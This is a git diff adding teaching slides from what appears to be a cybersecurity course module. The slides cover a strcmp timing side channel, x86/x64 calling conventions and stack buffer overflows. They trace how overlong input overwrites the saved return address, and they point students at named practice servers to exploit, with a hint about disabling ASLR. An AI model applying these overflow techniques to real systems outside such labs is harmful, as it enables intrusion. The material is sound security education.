diff --git a/Module_Cybersecurity/Side Channel Attacks/3.md b/Module_Cybersecurity/Side Channel Attacks/3.md
new file mode 100644
index 00000000..77ffb394
--- /dev/null
+++ b/Module_Cybersecurity/Side Channel Attacks/3.md
@@ -0,0 +1,19 @@
+# Brute forcing the secret
+
+- Now we know how long the length is, we can brute force the secret character by character!
+
+##### Overview
+
+- We just exploited a (admittedly bad) version of strcmp!
+
+- How can you, as a developer, defend against side channels?
+
+- - Leak less information
+
+ - - e.g. restrict physical access
+
+ - Obfuscate the side channel
+
+ - - e.g. adding artificial delays
+
+ - - Linux pam does this
\ No newline at end of file
diff --git a/Module_Cybersecurity/Stack Buffer Overflow/1.md b/Module_Cybersecurity/Stack Buffer Overflow/1.md
new file mode 100644
index 00000000..977ef330
--- /dev/null
+++ b/Module_Cybersecurity/Stack Buffer Overflow/1.md
@@ -0,0 +1,17 @@
+# Call Conventions
+
+Last time we took a look at how to understand program logic from the disassembly, but we didn’t explore how functions are called
+- You probably saw instructions like “call printf” but there are no arguments passed in. What’s up with that?
+
+Down at the assembly level, “function calls” are just a construct
+- There are instructions like “call” and “ret”, but they are still just register and stack manipulation
+ - “call addr” is equivalent to “push %rip, mov addr, %rip”
+ - “ret” is equivalent to “pop %rip”
+ - Remember “rip” is the instruction pointer, so it stores where the CPU is gonna run next, so setting “rip” means start executing the next instruction from there
+
+We can make up some agreed-upon conventions to help make our lives easier when defining and calling functions.
+- GCC takes care of this when compiling, just like how it takes care of other constructs like variables
+
+Usually you don’t have to consider it, but we will take a deeper look at how the calling works and see if we can exploit it
+
+- Warning: x86 call conventions are different from x86_64 call conventions. We’re gonna explore both today
\ No newline at end of file
diff --git a/Module_Cybersecurity/Stack Buffer Overflow/10.md b/Module_Cybersecurity/Stack Buffer Overflow/10.md
new file mode 100644
index 00000000..18647749
--- /dev/null
+++ b/Module_Cybersecurity/Stack Buffer Overflow/10.md
@@ -0,0 +1,464 @@
+# x86 Calling Conventions
+
+| 0xffffd97c | |
+| ---------- | ---------------------------- |
+| 0xffffd980 | |
+| 0xffffd984 | |
+| 0xffffd988 | |
+| 0xffffd98c | |
+| 0xffffd990 | |
+| 0xffffd994 | |
+| 0xffffd998 | Stuff from the main function |
+
+- main:
+
+- - 0x80491c9: push $0x3
+ - 0x80491cb: push $0x2
+ - 0x80491cd: push $0x1
+ - 0x80491cf: call test4
+ - 0x80491d4: add $0xc, %esp
+ - 0x80491d7: some other instruction
+
+- test4:
+
+- - 8049188: push %ebp
+ - 8049189: mov %esp,%ebp
+ - 804918b: sub $0x10, %esp
+ - 804918e ~ 80491a1: Calculations
+ - 80491a4: mov -0x4(%ebp),%edx
+ - 80491a7: mov -0x8(%ebp),%eax
+ - 80491aa: add %edx, %eax
+ - 80491ac: leave
+ - 80491ad: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd998 | 0x080491c9 | 0xffffd998 |
+
+
+
+| 0xffffd97c | |
+| ---------- | ---------------------------- |
+| 0xffffd980 | |
+| 0xffffd984 | |
+| 0xffffd988 | |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+- main:
+
+- - 0x80491c9: push $0x3
+ - 0x80491cb: push $0x2
+ - 0x80491cd: push $0x1
+ - 0x80491cf: call test4
+ - 0x80491d4: add $0xc, %esp
+ - 0x80491d7: some other instruction
+
+- test4:
+
+- - 8049188: push %ebp
+ - 8049189: mov %esp,%ebp
+ - 804918b: sub $0x10, %esp
+ - 804918e ~ 80491a1: Calculations
+ - 80491a4: mov -0x4(%ebp),%edx
+ - 80491a7: mov -0x8(%ebp),%eax
+ - 80491aa: add %edx, %eax
+ - 80491ac: leave
+ - 80491ad: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd98c | 0x080491cf | 0xffffd998 |
+
+
+
+| 0xffffd97c | |
+| ---------- | ----------------------------- |
+| 0xffffd980 | |
+| 0xffffd984 | 0xffffd998 (saved ebp) |
+| 0xffffd988 | 0x80491d4 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+- main:
+
+- - 0x80491c9: push $0x3
+ - 0x80491cb: push $0x2
+ - 0x80491cd: push $0x1
+ - 0x80491cf: call test4
+ - 0x80491d4: add $0xc, %esp
+ - 0x80491d7: some other instruction
+
+- test4:
+
+- - 8049188: push %ebp
+ - 8049189: mov %esp,%ebp
+ - 804918b: sub $0x10, %esp
+ - 804918e ~ 80491a1: Calculations
+ - 80491a4: mov -0x4(%ebp),%edx
+ - 80491a7: mov -0x8(%ebp),%eax
+ - 80491aa: add %edx, %eax
+ - 80491ac: leave
+ - 80491ad: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd984 | 0x0804918b | 0xffffd984 |
+
+
+
+| 0xffffd97c | LOCAL VARIABLE! |
+| ---------- | ----------------------------- |
+| 0xffffd980 | LOCAL VARIABLE! |
+| 0xffffd984 | 0xffffd998 (saved ebp) |
+| 0xffffd988 | 0x80491d4 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+- main:
+
+- - 0x80491c9: push $0x3
+ - 0x80491cb: push $0x2
+ - 0x80491cd: push $0x1
+ - 0x80491cf: call test4
+ - 0x80491d4: add $0xc, %esp
+ - 0x80491d7: some other instruction
+
+- test4:
+
+- - 8049188: push %ebp
+ - 8049189: mov %esp,%ebp
+ - 804918b: sub $0x10, %esp
+ - 804918e ~ 80491a1: Calculations
+ - 80491a4: mov -0x4(%ebp),%edx
+ - 80491a7: mov -0x8(%ebp),%eax
+ - 80491aa: add %edx, %eax
+ - 80491ac: leave
+ - 80491ad: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd974 | 0x0804918e | 0xffffd984 |
+
+
+
+| 0xffffd97c | 2+3=5 (local variable) |
+| ---------- | ----------------------------- |
+| 0xffffd980 | 1+2=3 (local variable) |
+| 0xffffd984 | 0xffffd998 (saved ebp) |
+| 0xffffd988 | 0x80491d4 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+- main:
+
+- - 0x80491c9: push $0x3
+ - 0x80491cb: push $0x2
+ - 0x80491cd: push $0x1
+ - 0x80491cf: call test4
+ - 0x80491d4: add $0xc, %esp
+ - 0x80491d7: some other instruction
+
+- test4:
+
+- - 8049188: push %ebp
+ - 8049189: mov %esp,%ebp
+ - 804918b: sub $0x10, %esp
+ - 804918e ~ 80491a1: Calculations
+ - 80491a4: mov -0x4(%ebp),%edx
+ - 80491a7: mov -0x8(%ebp),%eax
+ - 80491aa: add %edx, %eax
+ - 80491ac: leave
+ - 80491ad: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd974 | 0x080491a4 | 0xffffd984 |
+
+
+
+| 0xffffd97c | 2+3=5 (local variable) |
+| ---------- | ----------------------------- |
+| 0xffffd980 | 1+2=3 (local variable) |
+| 0xffffd984 | 0xffffd998 (saved ebp) |
+| 0xffffd988 | 0x80491d4 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+- main:
+
+- - 0x80491c9: push $0x3
+ - 0x80491cb: push $0x2
+ - 0x80491cd: push $0x1
+ - 0x80491cf: call test4
+ - 0x80491d4: add $0xc, %esp
+ - 0x80491d7: some other instruction
+
+- test4:
+
+- - 8049188: push %ebp
+ - 8049189: mov %esp,%ebp
+ - 804918b: sub $0x10, %esp
+ - 804918e ~ 80491a1: Calculations
+ - 80491a4: mov -0x4(%ebp),%edx
+ - 80491a7: mov -0x8(%ebp),%eax
+ - 80491aa: add %edx, %eax
+ - 80491ac: leave
+ - 80491ad: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd974 | 0x080491aa | 0xffffd984 |
+
+
+
+| 0xffffd97c | 2+3=5 (local variable) |
+| ---------- | ----------------------------- |
+| 0xffffd980 | 1+2=3 (local variable) |
+| 0xffffd984 | 0xffffd998 (saved ebp) |
+| 0xffffd988 | 0x80491d4 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+- “leave” is equivalent to:
+
+ mov %ebp, %esp
+
+ pop %ebp
+
+- main:
+
+- - 0x80491c9: push $0x3
+ - 0x80491cb: push $0x2
+ - 0x80491cd: push $0x1
+ - 0x80491cf: call test4
+ - 0x80491d4: add $0xc, %esp
+ - 0x80491d7: some other instruction
+
+- test4:
+
+- - 8049188: push %ebp
+ - 8049189: mov %esp,%ebp
+ - 804918b: sub $0x10, %esp
+ - 804918e ~ 80491a1: Calculations
+ - 80491a4: mov -0x4(%ebp),%edx
+ - 80491a7: mov -0x8(%ebp),%eax
+ - 80491aa: add %edx, %eax
+ - 80491ac: leave
+ - 80491ad: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd974 | 0x080491ac | 0xffffd984 |
+
+
+
+| 0xffffd97c | 2+3=5 (local variable) |
+| ---------- | ----------------------------- |
+| 0xffffd980 | 1+2=3 (local variable) |
+| 0xffffd984 | 0xffffd998 (saved ebp) |
+| 0xffffd988 | 0x80491d4 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+- “leave” is equivalent to:
+
+ mov %ebp, %esp
+
+ pop %ebp
+
+- main:
+
+- - 0x80491c9: push $0x3
+ - 0x80491cb: push $0x2
+ - 0x80491cd: push $0x1
+ - 0x80491cf: call test4
+ - 0x80491d4: add $0xc, %esp
+ - 0x80491d7: some other instruction
+
+- test4:
+
+- - 8049188: push %ebp
+ - 8049189: mov %esp,%ebp
+ - 804918b: sub $0x10, %esp
+ - 804918e ~ 80491a1: Calculations
+ - 80491a4: mov -0x4(%ebp),%edx
+ - 80491a7: mov -0x8(%ebp),%eax
+ - 80491aa: add %edx, %eax
+ - 80491ac: leave
+ - 80491ad: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd974 | 0x080491ad | 0xffffd984 |
+
+
+
+| 0xffffd97c | 2+3=5 (local variable) |
+| ---------- | ----------------------------- |
+| 0xffffd980 | 1+2=3 (local variable) |
+| 0xffffd984 | 0xffffd998 (saved ebp) |
+| 0xffffd988 | 0x80491d4 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+- “leave” is equivalent to:
+
+ mov %ebp, %esp
+
+ pop %ebp
+
+- main:
+
+- - 0x80491c9: push $0x3
+ - 0x80491cb: push $0x2
+ - 0x80491cd: push $0x1
+ - 0x80491cf: call test4
+ - 0x80491d4: add $0xc, %esp
+ - 0x80491d7: some other instruction
+
+- test4:
+
+- - 8049188: push %ebp
+ - 8049189: mov %esp,%ebp
+ - 804918b: sub $0x10, %esp
+ - 804918e ~ 80491a1: Calculations
+ - 80491a4: mov -0x4(%ebp),%edx
+ - 80491a7: mov -0x8(%ebp),%eax
+ - 80491aa: add %edx, %eax
+ - 80491ac: leave
+ - 80491ad: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd984 | 0x080491ad | 0xffffd984 |
+
+
+
+| 0xffffd97c | 2+3=5 (local variable) |
+| ---------- | ----------------------------- |
+| 0xffffd980 | 1+2=3 (local variable) |
+| 0xffffd984 | 0xffffd998 (saved ebp) |
+| 0xffffd988 | 0x80491d4 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+- main:
+
+- - 0x80491c9: push $0x3
+ - 0x80491cb: push $0x2
+ - 0x80491cd: push $0x1
+ - 0x80491cf: call test4
+ - 0x80491d4: add $0xc, %esp
+ - 0x80491d7: some other instruction
+
+- test4:
+
+- - 8049188: push %ebp
+ - 8049189: mov %esp,%ebp
+ - 804918b: sub $0x10, %esp
+ - 804918e ~ 80491a1: Calculations
+ - 80491a4: mov -0x4(%ebp),%edx
+ - 80491a7: mov -0x8(%ebp),%eax
+ - 80491aa: add %edx, %eax
+ - 80491ac: leave
+ - 80491ad: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd988 | 0x080491ad | 0xffffd998 |
+
+
+
+| 0xffffd97c | 2+3=5 (local variable) |
+| ---------- | ----------------------------- |
+| 0xffffd980 | 1+2=3 (local variable) |
+| 0xffffd984 | 0xffffd998 (saved ebp) |
+| 0xffffd988 | 0x80491d4 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+- main:
+
+- - 0x80491c9: push $0x3
+ - 0x80491cb: push $0x2
+ - 0x80491cd: push $0x1
+ - 0x80491cf: call test4
+ - 0x80491d4: add $0xc, %esp
+ - 0x80491d7: some other instruction
+
+- test4:
+
+- - 8049188: push %ebp
+ - 8049189: mov %esp,%ebp
+ - 804918b: sub $0x10, %esp
+ - 804918e ~ 80491a1: Calculations
+ - 80491a4: mov -0x4(%ebp),%edx
+ - 80491a7: mov -0x8(%ebp),%eax
+ - 80491aa: add %edx, %eax
+ - 80491ac: leave
+ - 80491ad: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd98c | 0x080491d4 | 0xffffd998 |
+
+
+
+| 0xffffd97c | 2+3=5 (local variable) |
+| ---------- | ----------------------------- |
+| 0xffffd980 | 1+2=3 (local variable) |
+| 0xffffd984 | 0xffffd998 (saved ebp) |
+| 0xffffd988 | 0x80491d4 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+- main:
+
+- - 0x80491c9: push $0x3
+ - 0x80491cb: push $0x2
+ - 0x80491cd: push $0x1
+ - 0x80491cf: call test4
+ - 0x80491d4: add $0xc, %esp
+ - 0x80491d7: some other instruction
+
+- test4:
+
+- - 8049188: push %ebp
+ - 8049189: mov %esp,%ebp
+ - 804918b: sub $0x10, %esp
+ - 804918e ~ 80491a1: Calculations
+ - 80491a4: mov -0x4(%ebp),%edx
+ - 80491a7: mov -0x8(%ebp),%eax
+ - 80491aa: add %edx, %eax
+ - 80491ac: leave
+ - 80491ad: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd998 | 0x080491d7 | 0xffffd998 |
+
+
+
diff --git a/Module_Cybersecurity/Stack Buffer Overflow/11.md b/Module_Cybersecurity/Stack Buffer Overflow/11.md
new file mode 100644
index 00000000..126d72a4
--- /dev/null
+++ b/Module_Cybersecurity/Stack Buffer Overflow/11.md
@@ -0,0 +1,22 @@
+# x86 Calling Conventions
+
+- For each function, the local variables are stored on the stack “before” the return address and stored base pointer. Here’s a quick summary of what the stack looks like from the caller and callee’s perspective.
+
+| First argument (esp) |
+| -------------------- |
+| ... |
+| Last argument |
+| Caller’s stuff |
+| Caller’s stuff (ebb) |
+
+Caller, right before the “call” instruction
+
+| Local variable (...) (ESP) |
+| --------------------------- |
+| Local variable (ebb) |
+| Saved ebp |
+| Saved return address |
+| First argument |
+| … (all the other arguments) |
+
+Callee, during the middle of execution
\ No newline at end of file
diff --git a/Module_Cybersecurity/Stack Buffer Overflow/12.md b/Module_Cybersecurity/Stack Buffer Overflow/12.md
new file mode 100644
index 00000000..5ed51d4d
--- /dev/null
+++ b/Module_Cybersecurity/Stack Buffer Overflow/12.md
@@ -0,0 +1,28 @@
+# x64 Calling Conventions
+
+- Hoo boy, that was a LOT of stuff! Depending on time constraints, I might [skip](https://docs.google.com/presentation/d/15A4pv1zScx2K8IxyLFspuToyGNOKuqC3y2uhhnHnI4I/edit#slide=id.g6b1e0e52b2_0_651) to the good stuff (buffer overflows), but if yall’re up to it let’s take a look at 64-bit calling conventions first!
+
+- - It’s different, but not that different, from x86 conventions. Don’t be scared! You did most of the heavy lifting already!
+
+- There are two major differences:
+
+- - Stack values are now 8 bytes big, not 4 bytes
+
+ - - That’s why 64-bit computers are 64-bit computers, they operate on 64 bits (8 bytes) at a time!
+
+ - Function call arguments are passed **in registers** rather than on the stack!
+
+ - - The return value, saved ebp (although now called rbp), and local variables remain on the stack. The only change is with the passed-in arguments.
+
+- We can take a look at the disassembly of 2_x64_convention, which is compiled from the same source code as the x86 one. We’ll only be taking a look at how test3 is called. You can explore the rest on your own, and it’s not that different from x86.
+
+- - Seriously, in your free time, grab a piece of paper and run through the assembly by yourself! This is extremely useful for understanding how exactly function calls work under the hood
+
+- Here’s an excerpt from main:
+
+- - mov $0x3, %edx
+ - mov $0x2, %esi
+ - mov $0x1, %edi
+ - call test3
+
+- The arguments are passed into the registers rdi, rsi, rdx, rcx, r8, r9, in that order.
\ No newline at end of file
diff --git a/Module_Cybersecurity/Stack Buffer Overflow/13.md b/Module_Cybersecurity/Stack Buffer Overflow/13.md
new file mode 100644
index 00000000..03c2783f
--- /dev/null
+++ b/Module_Cybersecurity/Stack Buffer Overflow/13.md
@@ -0,0 +1,40 @@
+# Buffer Overflow
+
+- We saw several things when learning about the call conventions:
+
+- - Where we should jump to next is just stored on the stack, like any other value
+ - Local variables are stored “before” the return address
+
+- Can we exploit this somehow?
+
+- Consider this piece of code:
+
+- - char buf[16];
+ - scanf(“%s”, buf);
+
+- Could this cause any problems?
+
+- Hint: The stack looks like this:
+
+- If we write more data than the program expects, we can overwrite the saved return address and gain control of the program’s execution!
+
+| Buffer (local variable) |
+| ----------------------- |
+| ... |
+| Buffer (local variable) |
+| Saved ebp |
+| Saved return address |
+| … (all the other stuff) |
+
+
+
+- Let’s try exploiting this “control flow hijack” vulnerability.
+
+- - It’s called this because we gain control of “eip”, which controls where the program executes next. If we hijack eip, we hijack what the program is gonna execute next.
+
+- Take a look at 3_x86_bufov_noargs, and think about how you can exploit it
+
+- - Try entering some crap into it and see how it behaves!
+
+- If you enter in a long string, you will see the program crashes! Let’s investigate where it crashed...
+- As you can see, our instruction pointer got overwritten to our input! Why does this happen? Let’s look at the disassembly again...
\ No newline at end of file
diff --git a/Module_Cybersecurity/Stack Buffer Overflow/14.md b/Module_Cybersecurity/Stack Buffer Overflow/14.md
new file mode 100644
index 00000000..8c01f843
--- /dev/null
+++ b/Module_Cybersecurity/Stack Buffer Overflow/14.md
@@ -0,0 +1,303 @@
+# Buffer Overflows
+
+
+
+- main:
+
+- - 0x08049235: call vuln
+ - 0x0804923a: some other instruction
+
+- vuln:
+
+- - 0x080491e7: push %ebp
+ - 0x080491e8: mov %esp, %ebp
+ - 0x080491ea: sub $0x18, %esp
+ - 0x080491ed: sub $0xc, %esp
+ - 0x080491f0: lea -0x18(%ebp), %eax
+ - 0x080491f3: push %eax
+ - 0x080491f4: call gets
+ - 0x080491f9: add $0x10, %esp
+ - 0x080491fc: mov $0x0, %eax
+ - 0x08049201: leave
+ - 0x08049202: ret
+
+| 0xffffd95c | |
+| ---------- | --------------- |
+| 0xffffd960 | |
+| 0xffffd964 | |
+| 0xffffd968 | |
+| 0xffffd96c | |
+| 0xffffd970 | |
+| 0xffffd974 | |
+| 0xffffd978 | |
+| 0xffffd97c | |
+| 0xffffd980 | Stuff from main |
+
+eip
+
+ebp
+
+
+
+- main:
+
+- - 0x08049235: call vuln
+ - 0x0804923a: some other instruction
+
+- vuln:
+
+- - 0x080491e7: push %ebp
+ - 0x080491e8: mov %esp, %ebp
+ - 0x080491ea: sub $0x18, %esp
+ - 0x080491ed: sub $0xc, %esp
+ - 0x080491f0: lea -0x18(%ebp), %eax
+ - 0x080491f3: push %eax
+ - 0x080491f4: call gets
+ - 0x080491f9: add $0x10, %esp
+ - 0x080491fc: mov $0x0, %eax
+ - 0x08049201: leave
+ - 0x08049202: ret
+
+| 0xffffd95c | |
+| ---------- | --------------- |
+| 0xffffd960 | |
+| 0xffffd964 | |
+| 0xffffd968 | |
+| 0xffffd96c | |
+| 0xffffd970 | |
+| 0xffffd974 | |
+| 0xffffd978 | |
+| 0xffffd97c | |
+| 0xffffd980 | Stuff from main |
+
+eip
+
+ebp
+
+
+
+- main:
+
+- - 0x08049235: call vuln
+ - 0x0804923a: some other instruction
+
+- vuln:
+
+- - 0x080491e7: push %ebp
+ - 0x080491e8: mov %esp, %ebp
+ - 0x080491ea: sub $0x18, %esp
+ - 0x080491ed: sub $0xc, %esp
+ - 0x080491f0: lea -0x18(%ebp), %eax
+ - 0x080491f3: push %eax
+ - 0x080491f4: call gets
+ - 0x080491f9: add $0x10, %esp
+ - 0x080491fc: mov $0x0, %eax
+ - 0x08049201: leave
+ - 0x08049202: ret
+
+| 0xffffd95c | |
+| ---------- | --------------------------- |
+| 0xffffd960 | |
+| 0xffffd964 | |
+| 0xffffd968 | |
+| 0xffffd96c | |
+| 0xffffd970 | |
+| 0xffffd974 | |
+| 0xffffd978 | 0xffffd9a0 (Saved ebp) |
+| 0xffffd97c | 0x0804923a (Saved ret addr) |
+| 0xffffd980 | Stuff from main |
+
+eip
+
+ebp
+
+
+
+- main:
+
+- - 0x08049235: call vuln
+ - 0x0804923a: some other instruction
+
+- vuln:
+
+- - 0x080491e7: push %ebp
+ - 0x080491e8: mov %esp, %ebp
+ - 0x080491ea: sub $0x18, %esp
+ - 0x080491ed: sub $0xc, %esp
+ - 0x080491f0: lea -0x18(%ebp), %eax
+ - 0x080491f3: push %eax
+ - 0x080491f4: call gets
+ - 0x080491f9: add $0x10, %esp
+ - 0x080491fc: mov $0x0, %eax
+ - 0x08049201: leave
+ - 0x08049202: ret
+
+| 0xffffd95c | |
+| ---------- | --------------------------- |
+| 0xffffd960 | (START OF BUFFER) |
+| 0xffffd964 | |
+| 0xffffd968 | |
+| 0xffffd96c | |
+| 0xffffd970 | |
+| 0xffffd974 | |
+| 0xffffd978 | 0xffffd9a0 (Saved ebp) |
+| 0xffffd97c | 0x0804923a (Saved ret addr) |
+| 0xffffd980 | Stuff from main |
+
+eip
+
+ebp
+
+
+
+- main:
+
+- - 0x08049235: call vuln
+ - 0x0804923a: some other instruction
+
+- vuln:
+
+- - 0x080491e7: push %ebp
+ - 0x080491e8: mov %esp, %ebp
+ - 0x080491ea: sub $0x18, %esp
+ - 0x080491ed: sub $0xc, %esp
+ - 0x080491f0: lea -0x18(%ebp), %eax
+ - 0x080491f3: push %eax
+ - 0x080491f4: call gets
+ - 0x080491f9: add $0x10, %esp
+ - 0x080491fc: mov $0x0, %eax
+ - 0x08049201: leave
+ - 0x08049202: ret
+
+
+
+| 0xffffd95c | |
+| ---------- | --------------------------- |
+| 0xffffd960 | 0x41414141 (start of buf) |
+| 0xffffd964 | 0x41414141 |
+| 0xffffd968 | 0x41414141 |
+| 0xffffd96c | 0x41414141 |
+| 0xffffd970 | 0x41414141 |
+| 0xffffd974 | 0x41414141 |
+| 0xffffd978 | 0x41414141 (Saved ebp) |
+| 0xffffd97c | 0x41414141 (Saved ret addr) |
+| 0xffffd980 | Stuff from main |
+
+ebp
+
+eip
+
+0x41414141
+
+(not an address
+
+that actually exists)
+
+ebp
+
+
+
+- main:
+
+- - 0x08049235: call vuln
+ - 0x0804923a: some other instruction
+
+- vuln:
+
+- - 0x080491e7: push %ebp
+ - 0x080491e8: mov %esp, %ebp
+ - 0x080491ea: sub $0x18, %esp
+ - 0x080491ed: sub $0xc, %esp
+ - 0x080491f0: lea -0x18(%ebp), %eax
+ - 0x080491f3: push %eax
+ - 0x080491f4: call gets
+ - 0x080491f9: add $0x10, %esp
+ - 0x080491fc: mov $0x0, %eax
+ - 0x08049201: leave
+ - 0x08049202: ret
+
+| 0xffffd95c | |
+| ---------- | --------------------------- |
+| 0xffffd960 | 0x41414141 (start of buf) |
+| 0xffffd964 | 0x41414141 |
+| 0xffffd968 | 0x41414141 |
+| 0xffffd96c | 0x41414141 |
+| 0xffffd970 | 0x41414141 |
+| 0xffffd974 | 0x41414141 |
+| 0xffffd978 | 0x41414141 (Saved ebp) |
+| 0xffffd97c | 0x41414141 (Saved ret addr) |
+| 0xffffd980 | Stuff from main |
+
+esp
+
+eip
+
+
+
+0x41414141
+
+(not an address
+
+that actually exists)
+
+eip
+
+ebp
+
+- main:
+
+- - 0x08049235: call vuln
+ - 0x0804923a: some other instruction
+
+- vuln:
+
+- - 0x080491e7: push %ebp
+ - 0x080491e8: mov %esp, %ebp
+ - 0x080491ea: sub $0x18, %esp
+ - 0x080491ed: sub $0xc, %esp
+ - 0x080491f0: lea -0x18(%ebp), %eax
+ - 0x080491f3: push %eax
+ - 0x080491f4: call gets
+ - 0x080491f9: add $0x10, %esp
+ - 0x080491fc: mov $0x0, %eax
+ - 0x08049201: leave
+ - 0x08049202: ret
+
+| 0xffffd95c | |
+| ---------- | --------------------------- |
+| 0xffffd960 | 0x41414141 (start of buf) |
+| 0xffffd964 | 0x41414141 |
+| 0xffffd968 | 0x41414141 |
+| 0xffffd96c | 0x41414141 |
+| 0xffffd970 | 0x41414141 |
+| 0xffffd974 | 0x41414141 |
+| 0xffffd978 | 0x41414141 (Saved ebp) |
+| 0xffffd97c | 0x41414141 (Saved ret addr) |
+| 0xffffd980 | Stuff from main |
+
+esp
+
+
+
+0x41414141 (not an address that actually exists)
+
+eip
+
+ebp
+
+With this information, can you figure out how to modify your input so the program calls the target function instead?
+
+| 0xffffd95c | |
+| ---------- | --------------------------- |
+| 0xffffd960 | 0x41414141 (start of buf) |
+| 0xffffd964 | 0x41414141 |
+| 0xffffd968 | 0x41414141 |
+| 0xffffd96c | 0x41414141 |
+| 0xffffd970 | 0x41414141 |
+| 0xffffd974 | 0x41414141 |
+| 0xffffd978 | 0x41414141 (Saved ebp) |
+| 0xffffd97c | 0x41414141 (Saved ret addr) |
+| 0xffffd980 | Stuff from main |
+
+esp
+
diff --git a/Module_Cybersecurity/Stack Buffer Overflow/15.md b/Module_Cybersecurity/Stack Buffer Overflow/15.md
new file mode 100644
index 00000000..ffcf9585
--- /dev/null
+++ b/Module_Cybersecurity/Stack Buffer Overflow/15.md
@@ -0,0 +1,33 @@
+# Congrats!
+
+- You have just exploited your first* buffer overflow vulnerability!
+
+- - *unless it is not your first
+
+- Now that you know the process, try it on the 64-bit environment!
+
+- - 4_x64_bufov_noargs
+ - Remember, the main difference between x64 and x86 calling convention is that the stack is aligned to 8 bytes at a time, not 4!
+
+- Once you have perfected your exploit, send it to twinpeaks.rkevin.dev port 30051
+
+- Depending on time, we might have to call it a day here. If we do have time though, try 5_x86_bufov_args!
+
+- - This time, you are required to pass in an argument to the target function. How would you do that?
+
+- Exploit the server: twinpeaks.rkevin.dev port 30052
+
+ - Hint: What does the target function expect the stack to look like once execution is passed into it?
+
+| … unallocated space yet |
+| :--------------------------------------------: |
+| “Saved return address” (or so it thinks) (esp) |
+| First argument (or so it thinks) |
+| … (all the other arguments) |
+
+- If you want a final challenge, try 6_x86_bufov_args_harder!
+
+- - You need to figure out a way to put your own string on the stack, then give the “target” function a pointer to it.
+ - Note: Run the program using “./noaslr ./6_x86_bufov_args_harder” to disable some protections against this type of attack. Make sure the filenames match exactly since the stack locations might be different if you don’t, so you can’t exploit it on the remote server.
+
+- Exploit the server: twinpeaks.rkevin.dev port 30053
\ No newline at end of file
diff --git a/Module_Cybersecurity/Stack Buffer Overflow/16.md b/Module_Cybersecurity/Stack Buffer Overflow/16.md
new file mode 100644
index 00000000..2bccdcbb
--- /dev/null
+++ b/Module_Cybersecurity/Stack Buffer Overflow/16.md
@@ -0,0 +1,11 @@
+# Summary
+
+- Unprotected buffers are BAD!
+
+- - We explored how overwriting stuff on the stack can lead to running code on a vulnerable server, but other types of overflows (e.g. heap) are equally as bad!
+
+- Protections?
+
+- - Write secure code! Never trust user input, filter stuff properly, check length, etc.
+ - System/hardware level protections: ASLR, canaries, shadowstack…
+ - This is an old problem, so there are many solutions, each of them are worth talking about some other time.
\ No newline at end of file
diff --git a/Module_Cybersecurity/Stack Buffer Overflow/2.md b/Module_Cybersecurity/Stack Buffer Overflow/2.md
new file mode 100644
index 00000000..fe46243f
--- /dev/null
+++ b/Module_Cybersecurity/Stack Buffer Overflow/2.md
@@ -0,0 +1,19 @@
+# Assembly x86 Calling Conventions
+
+Let’s make some programs and see how calling works when compiled by GCC.
+- Different compilers will give different disassemblies, but the convention should be the same.
+
+Take a look at calling_convention.c and 1_x86_convention.
+
+- main:
+
+- - 0x80491b1: call test1
+ - 0x80491b6: some other instruction
+
+- test1:
+
+- - 0x8049166: push %ebp
+ - 0x8049167: mov %esp, %ebp
+ - 0x8049169: nop
+ - 0x804916a: pop %ebp
+ - 0x804916b: ret
\ No newline at end of file
diff --git a/Module_Cybersecurity/Stack Buffer Overflow/3.md b/Module_Cybersecurity/Stack Buffer Overflow/3.md
new file mode 100644
index 00000000..8a654138
--- /dev/null
+++ b/Module_Cybersecurity/Stack Buffer Overflow/3.md
